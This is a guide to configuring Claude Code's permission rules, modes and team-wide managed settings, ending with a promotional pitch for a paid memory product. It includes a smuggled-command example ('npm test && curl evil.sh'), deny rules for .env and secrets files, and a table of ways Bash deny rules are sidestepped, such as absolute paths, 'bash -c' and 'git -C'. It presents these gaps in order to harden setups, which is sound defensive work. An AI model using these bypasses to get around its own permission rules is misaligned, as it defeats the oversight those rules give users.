Claude Code permissions decide what the agent can do without asking you first. Set them well and Claude runs your tests and commits without a prompt every minute, while it still stops before a push or a read of your .env file. This guide covers how the rules work, the syntax for each kind of tool, the gaps worth knowing about, and how to give a whole team the same rules.
Everything here is from Anthropic's permissions docs as of November 2026. Claude Code changes fast, so check there if a rule behaves differently from what you expect.
How Claude Code permissions work
Every rule is one of three kinds:
- Allow rules let Claude use a tool without asking
- Ask rules make Claude Code prompt you every time
- Deny rules block the tool
Claude Code checks deny rules first, then ask, then allow. The first match wins, and a more specific rule does not change that order. So a deny rule for Bash(aws *) blocks aws s3 ls even if you also allow Bash(aws s3 ls). You can't carve an exception out of a deny rule with an allow rule.
The rules are enforced by Claude Code, not by the model. Writing "never push to main" in CLAUDE.md shapes what Claude tries to do, but it doesn't stop anything. A deny or ask rule does.
Without any rules, Claude Code still has defaults. File reads in your working directory and a built-in set of read-only commands such as ls, cat, grep and git status run without a prompt. Other shell commands and file edits ask first.
Where the rules live
Type /permissions in a session to see every rule and the file it came from. You can add or remove rules there while Claude is working.
Rules can sit in several settings files:
| File | Who it applies to |
|---|---|
~/.claude/settings.json | You, in every project |
.claude/settings.json | Everyone who works in the repo, if you commit it |
.claude/settings.local.json | You, in this repo only |
| Managed settings | Everyone in your organization, and nobody can override them |
When you choose "Yes, and don't ask again" on a prompt for a shell command, Claude Code saves that rule to .claude/settings.local.json at the root of the repo. A file-edit approval is different: it lasts until the session ends and isn't saved.
A deny at any level wins. If your user settings allow something and the project settings deny it, it is denied.
Rule syntax
A rule is a tool name, optionally followed by a pattern in parentheses. Bash on its own matches every shell command. As a deny rule, a bare tool name removes the tool from Claude's context entirely.
Shell commands. * matches any text. Put it after the subcommand, so Bash(git log *) allows only git log while Bash(git *) allows every git command. A trailing * with a space also matches the bare command, so Bash(ls *) matches ls but not lsof.
Claude Code understands &&, | and ;, so allowing Bash(npm test *) doesn't allow npm test && curl evil.sh. Every part of a compound command has to be allowed on its own. Deny and ask rules apply if any part matches.
Files. Read(./.env) blocks reading .env in the current directory, and Read(./secrets/**) blocks a whole folder. A Read deny also blocks edits to the same path. Paths use gitignore syntax, with one trap: a single leading slash like /src/** is relative to the settings file's project, not the filesystem root. For an absolute path, write //Users/you/secrets/**.
Note that .claudeignore files do nothing. Move their entries into Read deny rules.
Web. WebFetch(domain:docs.example.com) allows fetches from one domain.
MCP servers. mcp__github__* matches every tool from a server named github, and mcp__github__get_issue matches one tool. mcp__* as a deny rule blocks every MCP tool.
Subagents. Agent(Explore) matches the built-in Explore subagent, so you can deny it or any custom subagent by name.
A starter config for a repo
This goes in .claude/settings.json and covers what most teams want on day one:
{
"permissions": {
"allow": [
"Bash(npm run *)",
"Bash(npm test *)",
"Bash(git commit *)"
],
"ask": [
"Bash(git push *)"
],
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)"
]
}
}
Claude runs scripts, tests and commits without asking, prompts before every push, and can't open your env files. Swap npm for your own build tool.
Allow rules in a committed .claude/settings.json only take effect after each developer accepts the workspace trust dialog for that folder, which lists the rules first. Deny and ask rules apply right away, since they only restrict.
What a Bash rule can't stop
This is the part most guides skip. A Bash rule matches the command text Claude writes. It doesn't match the same program run another way. Anthropic's docs give these examples for deny or ask rules:
| Rule | Stops | Doesn't stop |
|---|---|---|
Bash(rm *) | rm -rf build/ | /bin/rm -rf build/, bash -c 'rm -rf build/' |
Bash(curl *) | curl https://example.com | /usr/bin/curl https://example.com |
Bash(git push *) | git push origin main | git -C . push origin main |
Read deny rules have a similar gap. They cover Claude's file tools and commands like cat and head that name the file, but not a Python or Node script that opens the file itself.
So treat Bash rules as guardrails for normal behavior, not a security boundary. When a rule must hold, add one of these:
- Sandboxing, which restricts the filesystem and network access of every shell command at the OS level, whatever the command text says
- A PreToolUse hook, which sees the full command before it runs and can block it with your own logic. A deny rule still wins over a hook that says allow. Our Claude Code hooks guide has a working example
Permission modes
Modes change the defaults for a whole session. Press Shift+Tab to cycle through the common ones, or set defaultMode in your settings.
| Mode | What it does |
|---|---|
default (Manual) | Asks on first use of each tool |
acceptEdits | Accepts file edits and simple file commands in your working directory |
plan | Reads and explores but doesn't edit your files |
auto | Runs without routine prompts, with a background classifier checking actions against your request |
dontAsk | Denies anything that would prompt, but still runs what you have allowed |
bypassPermissions | Skips prompts. Only for containers or VMs where nothing can be damaged |
dontAsk with a tight allow list is a good fit for scripted runs where nobody is there to answer a prompt.
Setting permissions for a whole team
A committed .claude/settings.json gives everyone the same starting rules, but any developer can loosen them in their own local file. When a rule must hold for everyone, it belongs in managed settings.
Managed settings rank above every other file and above command-line flags. Nobody on the team can override a managed deny. A few keys are worth knowing:
permissions.disableBypassPermissionsModeset to"disable"stops anyone from starting a session that skips prompts.permissions.disableAutoModedoes the same for auto modeallowManagedPermissionRulesOnlymakes managed settings the only source of permission rules, so local allow lists stop counting
On the Claude Team and Enterprise plans, an owner can write managed settings in the admin console and every developer who signs in gets them within the hour. Our Claude Code Team plan guide covers that setup and the two cases where the settings don't arrive, such as CI jobs that use an API key.
What permissions don't cover
Permissions control what an agent is allowed to do. They don't help it know how to do the job. A team can lock down every push and still watch each developer's Claude Code spend an hour on the same broken staging deploy, because the fix one person found lives only in their session.
That is the gap FixMyPrompt Memories fills. When Claude Code works something out, you tell it to save the steps, and it checks them for secrets before storing anything. On the Biz plan, memories are shared across the company, and admins decide whether changes to a shared memory need their approval before they reach everyone's agent. It costs $25 a seat a month with a 2-seat minimum and a 7-day trial.
If you're setting up rules for the first time, start with the repo's instructions file too. The free CLAUDE.md checker shows which guardrail topics yours never mentions. In our study of 1,431 agent files from popular GitHub repos, 82% never mention destructive git commands, which is exactly what an ask rule for git push is for.